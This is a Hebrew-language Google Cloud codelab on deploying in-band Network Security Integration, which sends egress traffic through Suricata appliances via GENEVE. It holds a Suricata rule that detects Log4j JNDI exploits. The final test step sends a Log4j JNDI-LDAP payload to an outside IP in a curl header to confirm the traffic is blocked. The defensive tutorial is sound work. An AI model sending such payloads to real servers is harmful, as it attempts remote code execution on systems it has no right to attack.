‫Codelab בנושא שילוב אבטחת רשת (NSI) בתוך פס התדרים

1. מבוא

Network Security Integration

Network Security Integration‏ (NSI) מציע גמישות לשיפור אבטחת הרשת של עומסי העבודה. אפשר להשתמש במכשיר ייעודי מספק תוכנה עצמאי (ISV) מצד שלישי, או במנוע לבדיקת מנות עמוקה (DPI) כדי לבדוק את המטען הייעודי. כדי לאפשר שילוב חלק עם מכשירי צד שלישי כאלה, Google Cloud מאפשרת לפרוס מכשירים בצורה שקופה בלי לבצע שינויים ברשת או בניתוב.

ב-Google Cloud יש שני סוגים של Network Security Integration – מחוץ לפס ובתוך הפס. בשיעור Lab הזה נסביר איך פורסים את Network Security Integration בתוך הפס.

Network Security Integration בתוך הפס

Network Security Integration מספק שילוב בתוך הפס באמצעות טכנולוגיית יירוט חבילות הנתונים, שמאפשרת לכם להציב מכשירי רשת של צד שלישי בנתיב של תעבורת הנתונים ברשת כדי לבדוק באופן שקוף את עומסי העבודה ב-Google Cloud. התהליך הזה משתמש ב-Generic Network Virtualization Encapsulation ‏ (GENEVE) כדי להעביר חבילות נתונים למכשיר בצורה מאובטחת, בלי לשנות את כתובות ה-IP המקוריות של המקור והיעד.

שילוב בתוך פס התדרים מציע גישה ממוקדת-שירות לפריסה ולשימוש במכשירים מוטמעים של צד שלישי ברשת במצב 'התנגשות בחוט'. בתור בעלים של שירות מנוהל, אתם יכולים לפרסם קבוצה ניתנת להרחבה של מכשירי רשת של צד שלישי כפריסת יירוט. כצרכן השירות, אתם יכולים להשתמש במדיניות ובכללים של Cloud Next Generation Firewall כדי לבחור תעבורת נתונים בצורה מדויקת ולהפנות אותה באופן שקוף לנקודת קצה מקומית ליירוט לצורך בדיקה.

61bfbf754e04cf70.png

איור 1. ארכיטקטורת פריסה ברמה גבוהה של שירות שילוב בתוך פס

מידע נוסף על שילוב NSI בתוך פס התדרים זמין במאמר בנושא שילוב בתוך פס התדרים – סקירה כללית.

בעלים של שירות מנוהל בתוך הרשת

במפיקי השירותים מתבצע הפריסה והניהול של מכשירי צד שלישי. מישהו בארגון (צוות האבטחה וכו') או ספק חיצוני יכולים לנהל את זה. מפיקים רושמים את המכונות הווירטואליות שלהם, שיכולות להיות מכשירי צד שלישי, כשרתי קצה עורפיים למאזן עומסי רשת פנימי של רשת מעבר ב-רשת VPC שלהם. הציוד הזה בודק את התנועה ברשת שמופנית אליו. לאחר מכן, בעלים של שירות מנוהל יוצרים פריסות של Intercept, משאב של תחום מוגדר שמפנה לכלל ההעברה של מאזן עומסי הרשת הפנימי להעברת סיגנל ללא שינוי.

פריסת יירוט היא משאב של תחום מוגדר שמייצג את שירות הבדיקה של היצרן באזור ספציפי. מפיקים יוצרים פריסות של יירוט לכל אזור שבו הם פרסו את המכונות הווירטואליות שלהם.

קבוצת פריסה של יירוט היא משאב גלובלי בהיקף הפרויקט, שמאפשר לצרכנים להתחבר לשירותי הבדיקה של היצרן. מפיקים יוצרים קבוצת פריסה של חסימות כדי לקבץ כמה פריסות של חסימות אזוריות. מפיקים משתמשים ב-IAM כדי לקבוע אילו צרכנים יכולים להתחבר לקבוצת הפריסה שלהם.

מידע נוסף זמין במאמרים סקירה כללית על קבוצות פריסה של перехват וסקירה כללית על פריסות של перехват.

In-band Service Consumer

צרכני השירות משתמשים בשירותי הבדיקה שמציעים הבעלים. הצרכנים מציינים אילו רשתות VPC הם רוצים לבדוק ומאיזה יצרן. כדי לעשות את זה, הצרכנים יוצרים קבוצת נקודות קצה ליירוט, משאב גלובלי שמייצג את הצד שלהם ביחסים בין היצרן לצרכן, ומקשרים את קבוצת נקודות הקצה ליירוט לקבוצת הפריסה ליירוט של היצרן.

כדי לשייך את קבוצת נקודות הקצה של היירוט ל-VPC שמהם הם רוצים לבדוק את תעבורת הנתונים, הצרכנים יוצרים שיוך של קבוצת נקודות קצה של היירוט. כדי לבחור את תעבורת הנתונים שצריך לשלוח ליצרן לבדיקה, הצרכנים יוצרים ומשתמשים במדיניות חומת אש בין רשתות. הצרכנים יוצרים קבוצת פרופילי אבטחה שמכילה פרופיל אבטחה שמפנה לקבוצת נקודות הקצה שלהם ליירוט. לאחר מכן, הצרכנים יוצרים כלל חומת אש כדי להפנות תנועה שתואמת לקריטריונים ספציפיים למכשירי היצרן.

למרות שקבוצת נקודות הקצה ליירוט(IEG) היא משאב ברמת הפרויקט, קבוצת נקודות הקצה ליירוט והשיוך שלה לא חייבים להיות באותו פרויקט. אפשר להפנות אל IEG באמצעות שיוך IEG מפרויקטים אחרים בארגון. הוא מייצג את הצד של הצרכן ביחסים בין היצרן לצרכן. צרכנים יוצרים קבוצת נקודות קצה של יירוט כדי להשתמש בשירות הבדיקה של ספק. כל קבוצת נקודות קצה של יירוט בצד הצרכן משויכת לקבוצת פריסה אחת של יירוט בצד היצרן.

מידע נוסף מופיע במאמר סקירה כללית על קבוצות של נקודות קצה ועל שיוכים.

הצרכנים צריכים ליצור כלל במדיניות חומת האש כדי להפנות את תעבורת הנתונים לקבוצת נקודות הקצה שלהם ליירוט. הצרכנים יכולים לציין את קריטריוני ההתאמה בתוך כלל מדיניות חומת האש, וכך להגדיר איזה תעבורת נתונים תיבדק על ידי מכשירי היצרן.

הצרכנים יוצרים פרופיל אבטחה מותאם אישית של יירוט כדי לציין באיזו קבוצת נקודות קצה של יירוט צריך להשתמש כדי לבדוק את תעבורת הנתונים.

צרכנים יוצרים קבוצה של פרופילי אבטחה כדי להגדיר קבוצה של תכונות לבדיקת אבטחה שצריך להחיל על קבוצת משנה ספציפית של תעבורת נתונים. קבוצת פרופילים של אבטחה מכילה פרופיל אבטחה מותאם אישית אחד של יירוט.

מה תפַתחו

ea01a16258c792c1.png

איור 2. ארכיטקטורת פריסה ברמה גבוהה ל-Codelab הזה

כדי לפשט את ה-Codelab הזה, תשתמשו בפרויקט יחיד ותיצרו שתי רשתות VPC, ותנהלו מספר משאבי רשת ואבטחה. בשיעור Lab זה נדגים איך פורסים שילוב של שירות רשת בתוך פס התדרים עם מכשיר של צד שלישי להוספת אבטחה שקופה.

הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של חומת האש ב-Cloud, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד). כדי לפשט את שיעור ה-Lab הזה, תבדקו את כל תעבורת הנתונים היוצאת (egress) ביציאת TCP מספר 80.

היצרן יאפשר תעבורת נתונים נכנסת מכתובת ה-IP של שער תת-הרשת של ה-VPC של היצרן (10.0.0.1/32) לחבילות UDP עם יציאת יעד 6081 – היציאה הידועה של GENEVE.

מערכת הכללים של מדיניות חומת אש בין רשתות תיראה בסופו של דבר כמו הטבלה הבאה:

מדיניות רשת היוצרים:

עדיפות

כיוון

פרוטוקול

Target

מקור

יעד

יציאת יעד

פעולה

100

תעבורת נתונים נכנסת (Ingress)

הכול

הכול

בדיקות תקינות

הכול

הכול

אישור

200

תעבורת נתונים נכנסת (Ingress)

הכול

הכול

IAP

הכול

הכול

אישור

300

תעבורת נתונים נכנסת (Ingress)

UDP

הכול

10.0.0.1/32

הכול

6081

אישור

המדיניות בנושא רשתות צרכניות:

עדיפות

כיוון

פרוטוקול

Target

מקור

יעד

יציאת יעד

פעולה

200

תעבורת נתונים נכנסת (Ingress)

TCP

הכול

IAP

הכול

22

אישור

800

תעבורת נתונים יוצאת (egress)

TCP

הכול

הכול

הכול

80

יירוט

מה תלמדו

  • איך פורסים את Network Security Integration בתוך פס התדרים

הדרישות

  • הארגון והפרויקט ב-Google Cloud
  • הרשאות IAM מתאימות
  • ידע בפריסת מופעים ובהגדרת רכיבי רשת
  • ידע בהגדרת חומת אש של מדיניות רשת

‫2. לפני שמתחילים

תפקידים והרשאות של IAM

כדי להשלים את ה-codelab בנושא שילוב אבטחת רשת בתוך פס התדרים (NSI), תצטרכו את תפקידי ה-IAM הבאים:

  • אדמין רשתות ב-Compute (roles/compute.networkAdmin): נדרש כדי ליצור ולנהל רשתות VPC, תת-רשתות, Cloud Routers, שערים של NAT ושירותי קצה עורפי של מאזן עומסים.
  • אדמין לענייני אבטחה ב-Compute (roles/compute.securityAdmin): נדרש כדי ליצור, להגדיר ולשייך כללי מדיניות חומת אש וכללים גלובליים ברשת.
  • אדמין מכונות של Compute (roles/compute.instanceAdmin.v1): נדרש לפריסה, ל-SSH ולמחיקה של מכשירי Suricata ומכונות וירטואליות לבדיקות צרכנים.
  • אדמין של פריסת חסימה (roles/networksecurity.interceptDeploymentAdmin): משמש את המפיק ליצירה ולניהול של פריסות חסימה אזוריות ושל קבוצת הפריסה הגלובלית.
  • Intercept Endpoint Admin (roles/networksecurity.interceptEndpointAdmin): משמש את הצרכן ליצירת קבוצות של נקודות קצה ליירוט ולשיוך שלהן לרשת ה-VPC שלו.
  • משתמש בפריסת יירוט (roles/networksecurity.interceptDeploymentUser): נדרש בפרויקט של היצרן כדי להעניק לצרכן הרשאה להתחבר לקבוצת הפריסה של היצרן.
  • אדמין פרופיל אבטחה (roles/networksecurity.securityProfileAdmin): נדרשת ברמת הארגון כדי ליצור ולנהל פרופילי אבטחה מותאמים אישית וקבוצות של פרופילי אבטחה.
  • אדמין של שימוש בשירות (roles/serviceusage.serviceUsageAdmin): נדרש כדי להפעיל את ממשקי ה-API‏ networksecurity.googleapis.com ו-compute.googleapis.com שנדרשים לתכונות של NSI.
  • Project Viewer (roles/viewer): נדרשת הרשאה זו כדי לאחזר את הגדרות הפרויקט ואת פרטי הארגון של ישויות האב של משתני הסביבה שמשמשים לאורך כל שיעור ה-Lab.

Google Cloud APIs

חשוב לוודא שממשקי Google Cloud API הנדרשים מופעלים בפרויקט.

מפעילים את ממשקי ה-API הנדרשים באמצעות הפקודות הבאות של gcloud ב-Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

יצירה או עדכון של משתנים

ב-Codelab הזה נעשה שימוש במשתנים כדי לעזור בהטמעה של הגדרות ב-Cloud Shell.gcloud

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים לפי הצורך:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. פעולות של מפיקים

בקטע הזה נסביר על פריסת המפיק. הפעולה הזו כוללת פריסה של ה-VPC, של מכשיר וירטואלי של רשת צד שלישי ושל כל הרכיבים הרלוונטיים ל-Network Security Integration.

רכיבים של VPC ו-Cloud NAT

  1. יוצרים את ה-VPC ואת רשת המשנה:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. מקבלים את כתובת ה-IP של שער תת-הרשת לשימוש בכלל חומת האש:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. יוצרים מדיניות וכללים של חומת אש עבור ה-VPC של הספק. כללי חומת האש האלה יאפשרו תעבורת נתונים נכנסת לבדיקות תקינות, ל-IAP ול-NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. משייכים את ה-VPC של היצרן למדיניות חומת האש של הרשת:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. פורסים את Cloud Router ו-Cloud NAT עבור מכשיר וירטואלי של רשת (NVA) של צד שלישי כדי להוריד את החבילות והעדכונים הנדרשים:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

מכונות וירטואליות של צד שלישי

בשיעור ה-Lab הזה תפרסו את Suricata, שירות קוד פתוח לזיהוי איומים. לפקודה יש סקריפט הפעלה שיתקין ויגדיר את Suricata. יש גם iptables שמבצעים תרגום כתובות רשת של מקור (SNAT) ותרגום כתובות רשת של יעד (DNAT) כדי לטפל בחבילות GENEVE ולהגיב להן.

  1. פריסת NVA של צד שלישי באזור הראשון.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. פריסת NVA של צד שלישי באזור השני:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

רכיבים של מאזן עומסים של יצרן

  1. יוצרים בדיקת תקינות כללית שמשמשת לבדיקת הזמינות של מכשיר ה-NVA של צד שלישי:
gcloud compute health-checks create http nva-hc
  1. יוצרים קבוצה של מופעי מכונה לא מנוהלים בכל אזור:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. מוסיפים את המכונות לקבוצות של מכונות:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

כדי לוודא שקבוצות המופעים מכילות את המופעים שלכם, מריצים את הפקודות הבאות:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

פלט לדוגמה:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. יוצרים שירות לקצה העורפי פנימי מסוג UDP:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. מוסיפים את שתי קבוצות המופעים לשירות ה-Backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. שמרו כתובות IP פנימיות לכללי ההעברה. כל הטמעה של חסימת תנועה מחייבת כלל העברה ייחודי:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. יוצרים את כלל ההעברה לכל אזור. הדבר נדרש כי הפריסה של ההודעה שמוצגת למשתמשים בזמן שהם מנסים לגשת לאתר דורשת כלל העברה ייחודי:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

רכיבי Network Security Integration

  1. יוצרים קבוצת פריסה של חסימת מודעות:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

מוודאים שקבוצת הפריסה נוצרה בהצלחה:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

פלט לדוגמה:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. יוצרים פריסת חסימה לכל אזור:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

מוודאים שהפריסות של ההפסקות נוצרו בהצלחה:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

פלט לדוגמה:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

סיימתם את ההגדרה בצד של היוצר. בשלב הבא, תגדירו את הצד של הצרכן כדי ליירט את התנועה ולשלוח אותה באופן שקוף למכשירי צד שלישי לצורך אכיפה.

4. פעולות של צרכנים

במעבדה הזו נעשה שימוש בעננים וירטואליים פרטיים (VPC) נפרדים בתוך פרויקט יחיד כדי לפשט את התהליך, אבל בסביבות אמיתיות, משאבי היצרן והצרכן יכולים להיות בפרויקטים שונים או אפילו בארגונים שונים.

רכיבים של VPC ו-Cloud NAT

  1. יוצרים את ה-VPC ואת רשת המשנה:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. יוצרים את Cloud Router ואת שער Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

יירו של קבוצת נקודות קצה ושיוך

  1. יצירת קבוצה של נקודות קצה ליירוט:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

אימות שנקודת הקצה נוצרה בהצלחה:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

פלט לדוגמה:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. יוצרים שיוך של קבוצת נקודות קצה ליירוט ומציינים את ה-VPC של הצרכן:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

אימות:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

פלט לדוגמה:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

פרופיל אבטחה וקבוצת פרופילי אבטחה

בשלב הבא יוצרים פרופיל אבטחה מותאם אישית ליירוט ומצרפים אותו לקבוצת פרופילי האבטחה. פרופיל האבטחה וקבוצת פרופילי האבטחה משמשים ליירוט מנות עבור מכשירי צד שלישי.

  1. יוצרים פרופיל אבטחה מותאם אישית לחסימת תנועה:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

מוודאים שפרופיל האבטחה נוצר בהצלחה:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

פלט לדוגמה:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. יוצרים קבוצת פרופילי אבטחה:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

מוודאים שקבוצת המיקוד נוצרה בהצלחה:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

פלט לדוגמה:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

מדיניות חומת אש, כללים ושיוך

  1. יוצרים מדיניות חומת אש גלובלית ברשת:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. יוצרים את הכללים לחומת האש:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. יוצרים את כלל חומת האש כדי ליירט את כל תעבורת הנתונים היוצאת באמצעות NSI, וכך לשלוח אותה באופן שקוף למכשיר של צד שלישי. הכלל הזה ישלח לבדיקה את כל תעבורת הנתונים היוצאת של TCP:80.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. משייכים את מדיניות חומת האש בענן לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

מכונות VM לצרכנים

  1. פריסת מכונות וירטואליות שמשמשות לאימות NSI. תפרסו 3 מכונות וירטואליות ב-3 אזורים. זוכרים שרק ב-2 אזורים מופעל NSI, אבל לא ב-$zonec.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

בדיקה של Network Security Integration בתוך הלהקה

  1. מתחברים ב-SSH למכונה הווירטואלית ב-‎ $zonea (consumer-$zonea). שליחת תנועת בדיקה:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. שליחת תנועת בדיקה אל http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

הפלט אמור להיראות כך:

200

קוד הסטטוס HTTP 200 מציין שהבקשה של הלקוח התקבלה, הובנה ועובדה על ידי השרת.

  1. שליחת בקשות log4j שצריכות להיחסם על ידי Suricata דרך NSI.
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

הפלט אמור להיראות כך:

000

